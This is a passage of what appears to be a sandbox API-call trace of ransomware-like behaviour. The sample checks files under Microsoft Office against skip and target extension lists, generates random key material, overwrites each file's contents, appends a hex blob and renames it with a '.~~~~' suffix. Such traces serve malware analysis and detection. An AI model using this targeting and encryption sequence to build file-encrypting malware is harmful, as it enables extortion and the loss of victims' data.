	[0138.648] lstrlenW (lpString=".FDB") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".FDB") returned 0x0
	[0138.649] lstrlenW (lpString=".EDB") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".EDB") returned 0x0
	[0138.649] lstrlenW (lpString=".DACPAC") returned 7
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.649] lstrlenW (lpString=".VHD") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".VHD") returned 0x0
	[0138.649] lstrlenW (lpString=".DBV") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DBV") returned 0x0
	[0138.649] lstrlenW (lpString=".dacpac") returned 7
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dacpac") returned 0x0
	[0138.649] lstrlenW (lpString=".sdf") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".sdf") returned 0x0
	[0138.649] lstrlenW (lpString=".accdb") returned 6
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".accdb") returned 0x0
	[0138.649] lstrlenW (lpString=".DBX") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DBX") returned 0x0
	[0138.649] lstrlenW (lpString=".MDT") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".MDT") returned 0x0
	[0138.649] lstrlenW (lpString=".SQB") returned 4
	[0138.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".SQB") returned 0x0
	[0138.649] lstrlenW (lpString=".vhd") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".vhd") returned 0x0
	[0138.650] lstrlenW (lpString=".bac") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".bac") returned 0x0
	[0138.650] lstrlenW (lpString=".mdf") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".mdf") returned 0x0
	[0138.650] lstrlenW (lpString=".BAK") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".BAK") returned 0x0
	[0138.650] lstrlenW (lpString=".BAC") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".BAC") returned 0x0
	[0138.650] lstrlenW (lpString=".dbs") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dbs") returned 0x0
	[0138.650] lstrlenW (lpString=".vhdx") returned 5
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".vhdx") returned 0x0
	[0138.650] lstrlenW (lpString=".NDF") returned 4
	[0138.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".NDF") returned 0x0
	[0138.651] lstrlenW (lpString=".dat") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dat") returned 0x0
	[0138.651] lstrlenW (lpString=".DBS") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DBS") returned 0x0
	[0138.651] lstrlenW (lpString=".CKP") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".CKP") returned 0x0
	[0138.651] lstrlenW (lpString=".edb") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".edb") returned 0x0
	[0138.651] lstrlenW (lpString=".PST") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".PST") returned 0x0
	[0138.651] lstrlenW (lpString=".dbf") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dbf") returned 0x0
	[0138.651] lstrlenW (lpString=".SQL") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".SQL") returned 0x0
	[0138.651] lstrlenW (lpString=".pst") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".pst") returned 0x0
	[0138.651] lstrlenW (lpString=".dbv") returned 4
	[0138.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dbv") returned 0x0
	[0138.652] lstrlenW (lpString=".SDF") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".SDF") returned 0x0
	[0138.652] lstrlenW (lpString=".dtxs") returned 5
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dtxs") returned 0x0
	[0138.652] lstrlenW (lpString=".db3") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".db3") returned 0x0
	[0138.652] lstrlenW (lpString=".OST") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".OST") returned 0x0
	[0138.652] lstrlenW (lpString=".dbx") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dbx") returned 0x0
	[0138.652] lstrlenW (lpString=".DB3") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DB3") returned 0x0
	[0138.652] lstrlenW (lpString=".DAT") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DAT") returned 0x0
	[0138.652] lstrlenW (lpString=".VHDX") returned 5
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".VHDX") returned 0x0
	[0138.652] lstrlenW (lpString=".ndf") returned 4
	[0138.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".ndf") returned 0x0
	[0138.653] lstrlenW (lpString=".DB") returned 3
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DB") returned 0x0
	[0138.653] lstrlenW (lpString=".sql") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".sql") returned 0x0
	[0138.653] lstrlenW (lpString=".MYD") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".MYD") returned 0x0
	[0138.653] lstrlenW (lpString=".DBT") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DBT") returned 0x0
	[0138.653] lstrlenW (lpString=".ACCDB") returned 6
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.653] lstrlenW (lpString=".fdb") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".fdb") returned 0x0
	[0138.653] lstrlenW (lpString=".bak") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".bak") returned 0x0
	[0138.653] lstrlenW (lpString=".myd") returned 4
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".myd") returned 0x0
	[0138.653] lstrlenW (lpString=".DTXS") returned 5
	[0138.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DTXS") returned 0x0
	[0138.653] lstrlenW (lpString=".ckp") returned 4
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".ckp") returned 0x0
	[0138.654] lstrlenW (lpString=".dbt") returned 4
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dbt") returned 0x0
	[0138.654] lstrlenW (lpString=".db") returned 3
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".db") returned 0x0
	[0138.654] lstrlenW (lpString=".TXT") returned 4
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".TXT") returned 0x0
	[0138.654] lstrlenW (lpString=".MDF") returned 4
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".MDF") returned 0x0
	[0138.654] lstrlenW (lpString=".bdb") returned 4
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".bdb") returned 0x0
	[0138.654] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.654] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.656] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.656] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.656] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25864654581) returned 1
	[0138.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbc115ab0, dwHighDateTime=0x1d60e1e)) 
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825c50
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c50 | out: hHeap=0x300000) returned 1
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a628
	[0138.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.658] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.658] GetLastError () returned 0x0
	[0138.658] GetLastError () returned 0x0
	[0138.658] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.658] GetLastError () returned 0x0
	[0138.659] GetLastError () returned 0x0
	[0138.659] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.666] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0138.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.667] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.684] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.685] CloseHandle (hObject=0x114) returned 1
	[0138.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a628
	[0138.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css.~~~~")) returned 1
	[0138.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0138.688] GetLastError () returned 0x0
	[0138.688] RtlWakeConditionVariable () returned 0x0
	[0138.688] GetCurrentThreadId () returned 0x3a4
	[0138.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".scr") returned 0x0
	[0138.688] lstrlenW (lpString=".cmd") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".cmd") returned 0x0
	[0138.689] lstrlenW (lpString=".dll") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dll") returned 0x0
	[0138.689] lstrlenW (lpString=".bat") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".bat") returned 0x0
	[0138.689] lstrlenW (lpString=".cpl") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".cpl") returned 0x0
	[0138.689] lstrlenW (lpString=".sys") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".sys") returned 0x0
	[0138.689] lstrlenW (lpString=".msc") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".msc") returned 0x0
	[0138.689] lstrlenW (lpString=".com") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".com") returned 0x0
	[0138.689] lstrlenW (lpString=".lnk") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".lnk") returned 0x0
	[0138.689] lstrlenW (lpString=".msp") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".msp") returned 0x0
	[0138.689] lstrlenW (lpString=".pif") returned 4
	[0138.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".pif") returned 0x0
	[0138.689] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.848] lstrlenW (lpString=".sqb") returned 4
	[0138.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".sqb") returned 0x0
	[0138.848] lstrlenW (lpString=".ost") returned 4
	[0138.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".ost") returned 0x0
	[0138.849] lstrlenW (lpString=".txt") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".txt") returned 0x0
	[0138.849] lstrlenW (lpString=".mdt") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".mdt") returned 0x0
	[0138.849] lstrlenW (lpString=".BDB") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".BDB") returned 0x0
	[0138.849] lstrlenW (lpString=".eql") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".eql") returned 0x0
	[0138.849] lstrlenW (lpString=".DBF") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DBF") returned 0x0
	[0138.849] lstrlenW (lpString=".EQL") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".EQL") returned 0x0
	[0138.849] lstrlenW (lpString=".FDB") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".FDB") returned 0x0
	[0138.849] lstrlenW (lpString=".EDB") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".EDB") returned 0x0
	[0138.849] lstrlenW (lpString=".DACPAC") returned 7
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.849] lstrlenW (lpString=".VHD") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".VHD") returned 0x0
	[0138.849] lstrlenW (lpString=".DBV") returned 4
	[0138.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DBV") returned 0x0
	[0138.849] lstrlenW (lpString=".dacpac") returned 7
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dacpac") returned 0x0
	[0138.850] lstrlenW (lpString=".sdf") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".sdf") returned 0x0
	[0138.850] lstrlenW (lpString=".accdb") returned 6
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".accdb") returned 0x0
	[0138.850] lstrlenW (lpString=".DBX") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DBX") returned 0x0
	[0138.850] lstrlenW (lpString=".MDT") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".MDT") returned 0x0
	[0138.850] lstrlenW (lpString=".SQB") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".SQB") returned 0x0
	[0138.850] lstrlenW (lpString=".vhd") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".vhd") returned 0x0
	[0138.850] lstrlenW (lpString=".bac") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".bac") returned 0x0
	[0138.850] lstrlenW (lpString=".mdf") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".mdf") returned 0x0
	[0138.850] lstrlenW (lpString=".BAK") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".BAK") returned 0x0
	[0138.850] lstrlenW (lpString=".BAC") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".BAC") returned 0x0
	[0138.850] lstrlenW (lpString=".dbs") returned 4
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dbs") returned 0x0
	[0138.850] lstrlenW (lpString=".vhdx") returned 5
	[0138.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".vhdx") returned 0x0
	[0138.851] lstrlenW (lpString=".NDF") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".NDF") returned 0x0
	[0138.851] lstrlenW (lpString=".dat") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dat") returned 0x0
	[0138.851] lstrlenW (lpString=".DBS") returned 4
